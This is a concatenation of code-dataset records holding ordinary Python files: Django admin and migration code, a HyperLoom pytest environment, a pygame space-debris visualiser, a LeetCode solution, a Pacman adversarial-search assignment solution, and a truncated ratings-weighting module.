delete_selected_original(self, request, queryset)\n delete_selected.short_description = delete_selected_original.short_description\n\n\nclass CoursePromotionAdmin(admin.ModelAdmin):\n list_display = ('sort', 'content_type', 'object_id', 'content_object', 'spec_project')\n list_filter = ('spec_project', )\n\n\nclass PromoCodeForm(forms.ModelForm):\n\n class Meta:\n model = PromoCode\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n if not kwargs.get('instance', None) and len(args) == 0:\n kwargs['initial'] = {}\n kwargs['initial']['code'] = generate_promocode()\n \n super(PromoCodeForm, self).__init__(*args, **kwargs)\n \n if self.instance.used is None:\n self.instance.used = 0\n\n def clean(self):\n errors = {}\n\n product_type = self.cleaned_data.get('product_type')\n course = self.cleaned_data.get('course')\n edmodule = self.cleaned_data.get('edmodule')\n\n discount_percent = self.cleaned_data.get('discount_percent')\n discount_price = self.cleaned_data.get('discount_price')\n\n if product_type == 'course' and not course:\n errors.update({\n 'course': 'Выберите курс'\n })\n\n if product_type == 'edmodule' and not edmodule:\n errors.update({\n 'edmodule': 'Выберите специализацию'\n })\n\n if discount_percent < 1 and not discount_price:\n errors.update({ \n 'discount_percent': 'Убедитесь, что это значение больше либо равно 1.', \n })\n\n if discount_price < 1 and not discount_percent:\n errors.update({ \n 'discount_price': 'Убедитесь, что это значение больше либо равно 1.', \n })\n\n if discount_percent is None and discount_price is None:\n msg = 'Заполните либо процент скидки, либо сумму'\n errors.update({ \n 'discount_percent': msg, \n 'discount_price': msg \n })\n\n if discount_percent and discount_price:\n msg = 'Должно быть заполнено только одно из этих значений'\n errors.update({ \n 'discount_percent': msg, \n 'discount_price': msg \n })\n\n if errors:\n raise forms.ValidationError(errors)\n\n return self.cleaned_data\n\nclass PromoCodeAdmin(admin.ModelAdmin):\n\n class Media:\n js = ('/static/admin/js/promocode.js',)\n\n form = PromoCodeForm\n readonly_fields = ('used',) \n fields = ('code', 'product_type', 'course', 'edmodule', 'active_till', 'max_usage', 'used', 'use_with_others', 'discount_percent', 'discount_price')\n\nadmin.site.register(EducationalModule, EducationalModuleAdmin)\nadmin.site.register(EducationalModuleEnrollment, EducationalModuleEnrollmentAdmin)\nadmin.site.register(EducationalModuleEnrollmentType)\nadmin.site.register(EducationalModuleEnrollmentReason, EducationalModuleEnrollmentReasonAdmin)\nadmin.site.register(Benefit, BenefitAdmin)\nadmin.site.register(CoursePromotion, CoursePromotionAdmin)\nadmin.site.register(PromoCode, PromoCodeAdmin)\n","repo_name":"openprofession/plp-edmodule","sub_path":"plp_edmodule/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":9092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"23284778492","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport tutors.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Class',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('title', models.CharField(max_length=100)),\n ('description', models.TextField(default=b'', blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='ClassCategory',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='ClassSchedule',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('cls', models.ForeignKey(to='tutors.Class')),\n ],\n ),\n migrations.CreateModel(\n name='Teacher',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('nickname', models.CharField(default=b'', max_length=100, blank=True)),\n ('dob', models.DateField()),\n ('private_birthyear', models.BooleanField(default=False)),\n ('website', models.CharField(default=b'', max_length=200, blank=True)),\n ('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='TimeSlot',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('day', tutors.models.DayField(choices=[(1, b'Monday'), (2, b'Tuesday'), (3, b'Wednesday'), (4, b'Thursday'), (5, b'Friday'), (6, b'Saturday'), (7, b'Sunday')])),\n ('from_time', models.TimeField()),\n ('to_time', models.TimeField()),\n ('schedule', models.ForeignKey(to='tutors.ClassSchedule')),\n ],\n ),\n migrations.AddField(\n model_name='class',\n name='category',\n field=models.ForeignKey(to='tutors.ClassCategory'),\n ),\n migrations.AddField(\n model_name='class',\n name='teacher',\n field=models.ForeignKey(to='tutors.Teacher'),\n ),\n ]\n","repo_name":"cynthianyeint/Tutors","sub_path":"src/tutors/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36546844142","text":"\nimport os\nimport subprocess\nimport sys\nimport time\nimport pytest\nimport shutil\nimport glob\n\n\nLOOM_TESTDIR = os.path.dirname(os.path.abspath(__file__))\nLOOM_ROOT = os.path.dirname(os.path.dirname(LOOM_TESTDIR))\nLOOM_BUILD = os.path.join(LOOM_ROOT, \"_build\")\n\nLOOM_SERVER_BIN = os.path.join(LOOM_BUILD, \"src\", \"server\", \"loom-server\")\nLOOM_WORKER_BIN = os.path.join(LOOM_BUILD, \"src\", \"worker\", \"loom-worker\")\nLOOM_PYTHON = os.path.join(LOOM_ROOT, \"python\")\nLOOM_TEST_BUILD_DIR = os.path.join(LOOM_TESTDIR, \"build\")\n\nLOOM_TESTPROG = os.path.join(LOOM_TESTDIR, \"testprog.py\")\nLOOM_TEST_DATA_DIR = os.path.join(LOOM_TESTDIR, \"testdata\")\n\nsys.path.insert(0, LOOM_PYTHON)\n\nimport loom.client as client # noqa\nfrom loom.client import Task # noqa\nfrom loom.lore.report import Report # noqa\nfrom loom.lore.html import create_html # noqa\n\nVALGRIND = False\n\n\nclass Env():\n\n def __init__(self):\n self.processes = []\n self.cleanups = []\n\n def start_process(self, name, args, env=None, catch_io=True):\n fname = os.path.join(LOOM_TEST_BUILD_DIR, name)\n if catch_io:\n with open(fname + \".out\", \"w\") as out:\n p = subprocess.Popen(args,\n stdout=out,\n stderr=subprocess.STDOUT,\n cwd=LOOM_TEST_BUILD_DIR,\n env=env)\n else:\n p = subprocess.Popen(args,\n cwd=LOOM_TEST_BUILD_DIR,\n env=env)\n self.processes.append((name, p))\n return p\n\n def kill_all(self):\n for fn in self.cleanups:\n fn()\n for _, p in self.processes:\n p.kill()\n\n def kill(self, name):\n for n, p in self.processes:\n if n == name:\n p.kill()\n return\n raise Exception(\"Unknown processes\")\n\n\nclass LoomEnv(Env):\n\n PORT = 19010\n _client = None\n\n def start(self, workers_count, cpus=1):\n self.workers_count = workers_count\n if self.processes:\n self._client = None\n self.kill_all()\n time.sleep(0.2)\n server_args = (LOOM_SERVER_BIN,\n \"--debug\",\n \"--port=\" + str(self.PORT))\n valgrind_args = (\"valgrind\", \"--num-callers=40\")\n if VALGRIND:\n server_args = valgrind_args + server_args\n server = self.start_process(\"server\", server_args)\n time.sleep(0.1)\n assert not server.poll()\n workers = []\n worker_args = (LOOM_WORKER_BIN,\n \"--debug\",\n \"--nopin\",\n \"--wdir=\" + LOOM_TEST_BUILD_DIR,\n \"--cpus=\" + str(cpus),\n \"127.0.0.1\", str(self.PORT))\n if VALGRIND:\n time.sleep(2)\n worker_args = valgrind_args + worker_args\n env = os.environ.copy()\n if \"PYTHONPATH\" in env:\n env[\"PYTHONPATH\"] = LOOM_PYTHON + \":\" + env[\"PYTHONPATH\"]\n else:\n env[\"PYTHONPATH\"] = LOOM_PYTHON\n for i in range(workers_count):\n w = self.start_process(\"worker{}\".format(i), worker_args, env)\n workers.append(w)\n time.sleep(0.25)\n if VALGRIND:\n time.sleep(5)\n assert not server.poll()\n assert not any(w.poll() for w in workers)\n\n def get_filename(self, filename):\n return os.path.join(LOOM_TEST_BUILD_DIR, filename)\n\n def check_files(self, pattern):\n return glob.glob(os.path.join(LOOM_TEST_BUILD_DIR, pattern),\n recursive=True)\n\n def check_stats(self):\n stats = self._client.get_stats()\n assert stats[\"n_workers\"] == self.workers_count\n assert stats[\"n_data_objects\"] == 0\n\n def kill_worker(self, id):\n assert self.workers_count > 0\n self.kill(\"worker{}\".format(id))\n self.workers_count -= 1\n time.sleep(0.02)\n\n def check_final_state(self):\n time.sleep(0.25)\n self.check_stats()\n filenames = glob.glob(\n os.path.join(LOOM_TEST_BUILD_DIR, \"worker-*/**/*\"), recursive=True)\n runs = 0\n data = 0\n for filename in filenames:\n if filename.endswith(\"run\"):\n runs += 1\n elif filename.endswith(\"data\"):\n data += 1\n else:\n assert 0, \"Invalid file/directory remains: \" + filename\n\n assert runs <= self.workers_count\n assert data <= self.workers_count\n\n @property\n def client(self):\n if self._client is None:\n self._client = client.Client(\"localhost\", self.PORT)\n self.check_stats()\n return self._client\n\n def submit_and_gather(self, tasks, check=True, load=False):\n if isinstance(tasks, Task):\n future = self.client.submit_one(tasks, load=load)\n return self.client.gather_one(future)\n else:\n futures = self.client.submit(tasks, load=load)\n return self.client.gather(futures)\n if check:\n self.check_final_state()\n\n def set_trace(self, trace_path):\n self.client.set_trace(self.get_filename(trace_path))\n\n def independent_python(self, code):\n return self.start_process(\"python3\",\n (sys.executable, \"-c\", code),\n catch_io=False)\n\n def make_dry_report(self, tasks, filename):\n filename = os.path.join(LOOM_TEST_BUILD_DIR, filename)\n return client.make_dry_report(tasks, filename)\n\n def timeout(self, sleep_time, fn):\n import threading\n thread = threading.Timer(sleep_time, fn)\n thread.start()\n self.cleanups.append(lambda: thread.cancel())\n\n def close_client(self):\n self._client.close()\n self._client = None\n\n def terminate(self):\n if self._client:\n self._client.terminate()\n time.sleep(0.15)\n self._client = None\n\n def lore(self, dirname):\n dirname = self.get_filename(dirname)\n report = Report(dirname)\n create_html(report, self.get_filename(\"output.html\"), True)\n\n\ndef cleanup():\n if os.path.isdir(LOOM_TEST_BUILD_DIR):\n for item in os.listdir(LOOM_TEST_BUILD_DIR):\n path = os.path.join(LOOM_TEST_BUILD_DIR, item)\n if os.path.isfile(path):\n os.unlink(path)\n else:\n shutil.rmtree(path)\n else:\n os.makedirs(LOOM_TEST_BUILD_DIR)\n\n\n@pytest.yield_fixture(autouse=True, scope=\"function\")\ndef loom_env():\n cleanup()\n env = LoomEnv()\n yield env\n env.terminate()\n env.kill_all()\n","repo_name":"It4innovations/HyperLoom","sub_path":"tests/client/loomenv.py","file_name":"loomenv.py","file_ext":"py","file_size_in_byte":6754,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"5"} +{"seq_id":"543335574","text":"from pyorbital.orbital import Orbital\r\nfrom datetime import datetime\r\nimport pygame\r\nfrom pygame.locals import *\r\n\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\n\r\nimport FPSM\r\n\r\nfrom objloader import *\r\n\r\norbMat = [[0 for x in range(3)] for y in range(100)]\r\nvertMat = [[0 for x in range(8)] for y in range(100)]\r\n\r\nnow = datetime.utcnow()\r\n\r\ni = 0\r\n\r\nfor x in range(0,100):\r\n if x == 0:\r\n string = 'COSMOS 2251'\r\n if x >= 1:\r\n string = 'COSMOS 2251 DEB' + str(x)\r\n orbX = Orbital(string, 'cosmos-2251-debris.txt')\r\n orbY = Orbital(string, 'cosmos-2251-debris.txt')\r\n orbZ = Orbital(string, 'cosmos-2251-debris.txt')\r\n\r\n orbMat[i][0] = 0.49 * orbX.get_position(now)[0][0]\r\n orbMat[i][1] = 0.49 * orbY.get_position(now)[0][1]\r\n orbMat[i][2] = 0.49 * orbZ.get_position(now)[0][2]\r\n\r\n i += 1\r\n\r\ni = 0\r\n \r\nfor eachOrb in orbMat:\r\n vertMat[i][0] = [orbMat[i][0], orbMat[i][1], orbMat[i][2]]\r\n vertMat[i][1] = [orbMat[i][0] + 0.01, orbMat[i][1], orbMat[i][2]]\r\n vertMat[i][2] = [orbMat[i][0] + 0.01, orbMat[i][1] - 0.01, orbMat[i][2]]\r\n vertMat[i][3] = [orbMat[i][0], orbMat[i][1] - 0.01, orbMat[i][2]]\r\n vertMat[i][4] = [orbMat[i][0], orbMat[i][1], orbMat[i][2] + 0.01]\r\n vertMat[i][5] = [orbMat[i][0] + 0.01, orbMat[i][1], orbMat[i][2] + 0.01]\r\n vertMat[i][6] = [orbMat[i][0] + 0.01, orbMat[i][1] - 0.01, orbMat[i][2] + 0.01]\r\n vertMat[i][7] = [orbMat[i][0], orbMat[i][1] - 0.01, orbMat[i][2] + 0.01]\r\n i += 1\r\n\r\nsurfaces = [\r\n [0,1,2,3],\r\n [6,5,1,2],\r\n [4,5,1,0],\r\n [7,4,0,3],\r\n [7,6,2,3],\r\n [4,5,7,6]\r\n ]\r\n\r\ndef draw(r, g, b):\r\n \r\n glBegin(GL_QUADS)\r\n \r\n\r\n i = 0\r\n\r\n for x in range(0,100):\r\n glColor3fv((r, g, b))\r\n for surface in surfaces:\r\n for vertex in surface:\r\n glVertex3fv(vertMat[i][vertex])\r\n i += 1\r\n \r\n glEnd()\r\n\r\ndef main():\r\n pygame.init()\r\n\r\n wWidth = 1200\r\n wHeight = 800\r\n\r\n clock = pygame.time.Clock()\r\n\r\n window = pygame.display.set_mode((wWidth, wHeight), DOUBLEBUF|OPENGL)\r\n \r\n glMatrixMode(GL_PROJECTION)\r\n gluPerspective(90, wWidth/wHeight, 0.001, 100000.0)\r\n glMatrixMode(GL_MODELVIEW)\r\n\r\n glTranslate(2,0,0)\r\n\r\n r = 1.0\r\n g = 0.8\r\n b = 0.9\r\n\r\n while True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n quit()\r\n\r\n if event.type == pygame.KEYDOWN:\r\n if event.key == pygame.K_q:\r\n pygame.quit()\r\n quit()\r\n\r\n keys = pygame.key.get_pressed()\r\n\r\n if keys[pygame.K_1]:\r\n r += 0.01\r\n if keys[pygame.K_2]:\r\n r -= 0.01\r\n if keys[pygame.K_3]:\r\n g += 0.01\r\n if keys[pygame.K_4]:\r\n g -= 0.01\r\n if keys[pygame.K_5]:\r\n b += 0.01\r\n if keys[pygame.K_6]:\r\n b -= 0.01\r\n\r\n obj = OBJ(\"earth.obj\", swapyz=False)\r\n\r\n glClear(GL_COLOR_BUFFER_BIT|GL_DEPTH_BUFFER_BIT)\r\n \r\n draw(r, g, b)\r\n\r\n glCallList(obj.gl_list)\r\n\r\n glEnable(GL_COLOR_MATERIAL)\r\n glEnable(GL_LIGHTING)\r\n glShadeModel(GL_SMOOTH)\r\n glEnable(GL_LIGHT0)\r\n glLightfv(GL_LIGHT0, GL_DIFFUSE, (0.9, 0.8, 0.8, 1.0))\r\n glLightfv(GL_LIGHT0, GL_SPECULAR, (0.9, 0.8, 0.8, 1.0))\r\n glLightfv(GL_LIGHT0, GL_AMBIENT, (0.15, 0, 0, 1.0))\r\n glLightfv(GL_LIGHT0, GL_POSITION, (50.0, 30.0, 200.0, 8.0))\r\n glEnable(GL_DEPTH_TEST)\r\n glDepthFunc(GL_LEQUAL)\r\n \r\n mov = FPSM.Spectator()\r\n mov.get_keys()\r\n mov.controls_3d(0,'w','s','a','d')\r\n matrix = mov.controls_3d(.05)\r\n\r\n pygame.display.flip()\r\n clock.tick(60)\r\n\r\nmain()\r\n","repo_name":"robertnester/Space-Debris-Sim","sub_path":"debris-data-sim.py","file_name":"debris-data-sim.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25621358131","text":"from typing import List\n\n\nclass Solution:\n def maxArea(self, height: List[int]) -> int:\n left, right = 0, len(height) - 1\n\n max_water = -1\n distance = right - left\n while left < right:\n l_height, r_height = height[left], height[right]\n \n if l_height > r_height:\n max_water = max(max_water, distance * r_height)\n right -= 1\n else:\n max_water = max(max_water, distance * l_height)\n left += 1\n\n \n distance -= 1\n return max_water\n\nprint(Solution().maxArea( [2,3,4,5,18,17,6]))","repo_name":"HandsomeCoder/leetcode-practice","sub_path":"google/arrays-and-strings/11-container-with-most-water.py","file_name":"11-container-with-most-water.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25937008013","text":"# multiAgents.py\n# --------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\nfrom util import manhattanDistance\nfrom game import Directions\nimport random, util\n\nfrom game import Agent\n\nclass ReflexAgent(Agent):\n \"\"\"\n A reflex agent chooses an action at each choice point by examining\n its alternatives via a state evaluation function.\n\n The code below is provided as a guide. You are welcome to change\n it in any way you see fit, so long as you don't touch our method\n headers.\n \"\"\"\n\n\n def getAction(self, gameState):\n \"\"\"\n You do not need to change this method, but you're welcome to.\n\n getAction chooses among the best options according to the evaluation function.\n\n Just like in the previous project, getAction takes a GameState and returns\n some Directions.X for some X in the set {NORTH, SOUTH, WEST, EAST, STOP}\n \"\"\"\n # Collect legal moves and successor states\n legalMoves = gameState.getLegalActions()\n\n # Choose one of the best actions\n scores = [self.evaluationFunction(gameState, action) for action in legalMoves]\n bestScore = max(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n chosenIndex = random.choice(bestIndices) # Pick randomly among the best\n\n \"Add more of your code here if you want to\"\n\n return legalMoves[chosenIndex]\n\n def evaluationFunction(self, currentGameState, action):\n \"\"\"\n Design a better evaluation function here.\n\n The evaluation function takes in the current and proposed successor\n GameStates (pacman.py) and returns a number, where higher numbers are better.\n\n The code below extracts some useful information from the state, like the\n remaining food (newFood) and Pacman position after moving (newPos).\n newScaredTimes holds the number of moves that each ghost will remain\n scared because of Pacman having eaten a power pellet.\n\n Print out these variables to see what you're getting, then combine them\n to create a masterful evaluation function.\n \"\"\"\n # Useful information you can extract from a GameState (pacman.py)\n successorGameState = currentGameState.generatePacmanSuccessor(action)\n newPos = successorGameState.getPacmanPosition()\n newFood = successorGameState.getFood()\n newGhostStates = successorGameState.getGhostStates()\n newGhostPos = successorGameState.getGhostPositions()\n newScaredTimes = [ghostState.scaredTimer for ghostState in newGhostStates]\n score = successorGameState.getScore()\n \"*** YOUR CODE HERE ***\"\n food_dis = {}\n for food in newFood.asList():\n #print (food)\n food_dis[food] = manhattanDistance(newPos,food)\n if len(food_dis) != 0:\n closest_food = min(food_dis,key=food_dis.get)\n ghost_dis = {}\n for ghost in newGhostPos:\n #print (ghost)\n ghost_dis[ghost] = manhattanDistance(newPos,ghost)\n if len(ghost_dis) !=0:\n closest_ghost = min(ghost_dis,key=ghost_dis.get)\n if newPos in newFood.asList():\n score += 10\n if ghost_dis[closest_ghost] <=2:\n score -=50\n if len(food_dis) != 0:\n score += 10/food_dis[closest_food]\n return score\n\ndef scoreEvaluationFunction(currentGameState):\n \"\"\"\n This default evaluation function just returns the score of the state.\n The score is the same one displayed in the Pacman GUI.\n\n This evaluation function is meant for use with adversarial search agents\n (not reflex agents).\n \"\"\"\n\n return currentGameState.getScore()\n\nclass MultiAgentSearchAgent(Agent):\n \"\"\"\n This class provides some common elements to all of your\n multi-agent searchers. Any methods defined here will be available\n to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent.\n\n You *do not* need to make any changes here, but you can if you want to\n add functionality to all your adversarial search agents. Please do not\n remove anything, however.\n\n Note: this is an abstract class: one that should not be instantiated. It's\n only partially specified, and designed to be extended. Agent (game.py)\n is another abstract class.\n \"\"\"\n\n def __init__(self, evalFn = 'scoreEvaluationFunction', depth = '2'):\n self.index = 0 # Pacman is always agent index 0\n self.evaluationFunction = util.lookup(evalFn, globals())\n self.depth = int(depth)\n\nclass MinimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent (question 2)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action from the current gameState using self.depth\n and self.evaluationFunction.\n\n Here are some method calls that might be useful when implementing minimax.\n\n gameState.getLegalActions(agentIndex):\n Returns a list of legal actions for an agent\n agentIndex=0 means Pacman, ghosts are >= 1\n\n gameState.generateSuccessor(agentIndex, action):\n Returns the successor game state after an agent takes an action\n\n gameState.getNumAgents():\n Returns the total number of agents in the game\n\n gameState.isWin():\n Returns whether or not the game state is a winning state\n\n gameState.isLose():\n Returns whether or not the game state is a losing state\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n return(self.minimax(gameState,self.depth,agentIndex=0)[1])\n util.raiseNotDefined()\n def minimax(self,gameState,depth,agentIndex):\n if gameState.isWin() or gameState.isLose() or depth ==0:\n return self.evaluationFunction(gameState),\"Stop\"\n if agentIndex==0:\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n score.append((self.minimax(successor_gamestate,depth,1)[0],action))\n return max(score,key=lambda x:x[0])\n else:\n nextAgent=agentIndex+1\n if gameState.getNumAgents() == agentIndex+1:\n depth -=1\n nextAgent=0\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n score.append((self.minimax(successor_gamestate,depth,nextAgent)[0],action))\n return min(score,key=lambda x:x[0])\n \n\nclass AlphaBetaAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent with alpha-beta pruning (question 3)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the minimax action using self.depth and self.evaluationFunction\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n return(self.minimax(gameState,self.depth,agentIndex=0)[1])\n\n def minimax(self,gameState,depth,agentIndex,alpha = float(\"-inf\"),beta=float(\"inf\")):\n if gameState.isWin() or gameState.isLose() or depth ==0:\n return self.evaluationFunction(gameState),\"Stop\"\n if agentIndex==0:\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n value=self.minimax(successor_gamestate,depth,1,alpha,beta)[0]\n score.append((value,action))\n alpha = max(alpha,value)\n if beta < alpha:\n break\n return max(score,key=lambda x:x[0])\n else:\n nextAgent=agentIndex+1\n if gameState.getNumAgents() == agentIndex+1:\n depth -=1\n nextAgent=0\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n value =self.minimax(successor_gamestate,depth,nextAgent,alpha,beta)[0]\n score.append((value,action))\n beta = min(beta,value)\n if beta < alpha:\n break\n return min(score,key=lambda x:x[0])\n \n util.raiseNotDefined()\n\nclass ExpectimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your expectimax agent (question 4)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the expectimax action using self.depth and self.evaluationFunction\n\n All ghosts should be modeled as choosing uniformly at random from their\n legal moves.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n return(self.expmax(gameState,self.depth,agentIndex=0)[1])\n util.raiseNotDefined()\n def expmax(self,gameState,depth,agentIndex):\n if gameState.isWin() or gameState.isLose() or depth ==0:\n return self.evaluationFunction(gameState),\"Stop\"\n if agentIndex==0:\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n score.append((self.expmax(successor_gamestate,depth,1)[0],action))\n return max(score,key=lambda x:x[0])\n else:\n nextAgent=agentIndex+1\n if gameState.getNumAgents() == agentIndex+1:\n depth -=1\n nextAgent=0\n score=[]\n for action in gameState.getLegalActions(agentIndex):\n successor_gamestate= gameState.generateSuccessor(agentIndex,action)\n score.append((self.expmax(successor_gamestate,depth,nextAgent)[0],action))\n return (sum(x[0] for x in score)/len(score),)\n \n\ndef betterEvaluationFunction(currentGameState):\n \"\"\"\n Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable\n evaluation function (question 5).\n\n DESCRIPTION: \n \"\"\"\n \"*** YOUR CODE HERE ***\"\n pacman_pos=currentGameState.getPacmanPosition()\n ghost_state = currentGameState.getGhostStates()\n food_pos = currentGameState.getFood().asList()\n capsule_pos = currentGameState.getCapsules()\n score = currentGameState.getScore()\n food_score = 10\n normal_ghost_score = -10\n scared_ghost_score = 15\n capsule_score =12\n ## food score\n dis_food = [manhattanDistance(pacman_pos,food) for food in food_pos]\n if len(dis_food) >0:\n if min(dis_food) ==0:\n score+=food_score\n else:\n score+=food_score/min(dis_food)\n else:\n score+=food_score\n ##ghost score\n scared_ghost=[]\n normal_ghost=[]\n for ghost in ghost_state:\n if ghost.scaredTimer == 0:\n normal_ghost.append(ghost)\n else:\n scared_ghost.append(ghost)\n ##scared_ghost\n dis_scared_ghost=[manhattanDistance(pacman_pos,ghost.getPosition()) for ghost in scared_ghost]\n if len(dis_scared_ghost) >0:\n if min(dis_scared_ghost) ==0:\n score +=scared_ghost_score\n else:\n score+=scared_ghost_score/min(dis_scared_ghost)\n ##normal_ghost\n dis_normal_ghost=[manhattanDistance(pacman_pos,ghost.getPosition()) for ghost in normal_ghost]\n if len(dis_normal_ghost) >0:\n if min(dis_normal_ghost)==0:\n score-=float(\"Inf\")\n else:\n score+=normal_ghost_score/min(dis_normal_ghost)\n ##capsule\n dis_capsule = [manhattanDistance(pacman_pos,capsule) for capsule in capsule_pos]\n if len(dis_capsule) >0:\n if min(dis_capsule) ==0:\n score+=capsule_score\n else:\n score+=capsule_score/min(dis_capsule)\n else:\n score+=capsule_score\n return(score)\n ##not scared ghost\n\n\n util.raiseNotDefined()\n\n# Abbreviation\nbetter = betterEvaluationFunction\n","repo_name":"NingNing-C/Pacman-AI","sub_path":"multiagent/multiAgents.py","file_name":"multiAgents.py","file_ext":"py","file_size_in_byte":12477,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"25776573823","text":"class Solution:\n def characterReplacement(self, s: str, k: int) -> int:\n c = {}\n l = r = mx = 0\n while r < len(s):\n c[s[r]] = c.get(s[r],0) + 1\n r += 1\n while (r - l) - self.gmf(c) > k:\n c[s[l]] -= 1\n l += 1\n mx = max(mx, r - l)\n return mx\n \n def gmf(self, c):\n mx = 0\n for v in c.values():\n mx = max(v, mx)\n return mx","repo_name":"MyoniM/LeetHub","sub_path":"424-longest-repeating-character-replacement/424-longest-repeating-character-replacement.py","file_name":"424-longest-repeating-character-replacement.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74318135757","text":"\"\"\"\nAuthor: Anas Alzogbi\nDescription: \nThis module provides the functionality of:\n - Computing ratings weights based on the ratings age\nDate: December 12th, 2017\nalzoghba@informatik.uni-freiburg.de\n\"\"\"\n\nimport argparse\nimport os\nimport numpy as np\nfrom util.files_utils import read_ratings_as_list, write_ratings\n\nimport pandas as pd\n\nclass Range(object):\n def __init__(self, start, end):\n self.start = start\n self.end = end\n\n def __eq__(self, other):\n return self.start <= other <= self.end\n \n \ndef interest_extent(ratings_age_array, forgetting_factor):\n \"\"\"\n computes interest extent of a paper for a user based on the age of the rating\n ratings_age_array - a list of ages of the ratings in years or months\n returns 1d array of float representing the interest of the user to the papers\n \"\"\"\n if forgetting_factor == 0:\n forgetting_factor = 0.1\n return [i if i > 0.01 else 0.01 for i in np.exp(-np.power(ratings_age_array, 2) / forgetting_factor)]\n\n# Retuns values between 0 and 100, proportional to the similarity. This is to be used to generate factors for interst_extent function\ndef calculate_users_lambda(ratings_list, papers_topics):\n us_sims = []\n i = 0\n for u in ratings_list:\n sims = []\n for i, _ in enumerate(u):\n if i < len(u) - 1:\n sims.append(jackard_sim(papers_topics[u[i]], papers_topics[u[i + 1]]))\n if len(sims) == 0:\n i += 1\n us_sims.append(1)\n else:\n us_sims.append(np.mean(sims)*100)\n return us_sims\n\ndef interest_extent_2(ages_list, factor):\n return (2/(1+ np.exp(np.array(ages_list) * factor))).tolist()\n\n\ndef jackard_sim(l1, l2):\n if len(l1) == 0 or len(l2) == 0:\n return 0\n s1 = set(l1)\n s2 = set(l2)\n c = len(s1.intersection(s2))\n return float(c) / (len(s1) + len(s2) - c)\n\n\ndef calculate_users_lambda2(ratings_list, papers_topics):\n us_sims = []\n i = 0\n for u in ratings_list:\n sims = []\n for i, _ in enumerate(u):\n if i < len(u) - 1:\n sims.append(1 - jackard_sim(papers_topics[u[i]], papers_topics[u[i + 1]]))\n if len(sims) == 0:\n i += 1\n us_sims.append(1)\n else:\n us_sims.append(np.mean(sims))\n return us_sims\n\nif __name__ == '__main__':\n adaptive = False\n \"\"\"\n ratings_file = '../../../datasets/citeulike/citeulike_2004_2007/time-based_split_in-matrix/' + fold + '/train-items.dat'\n ratings_ages_file = '../../../datasets/citeulike/citeulike_2004_2007/time-based_split_in-matrix/' + fold + '/train-items-ages.dat'\n theta_file = \"../../../datasets/citeulike/citeulike_2004_2007/time-based_split_in-matrix/\" + fold + \"/lda_sklearn/theta_150.dat\"\n # fold = 'fold-6'\n \n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--ratings_ages_file\", \"-r\", help=\"The ratings ages file 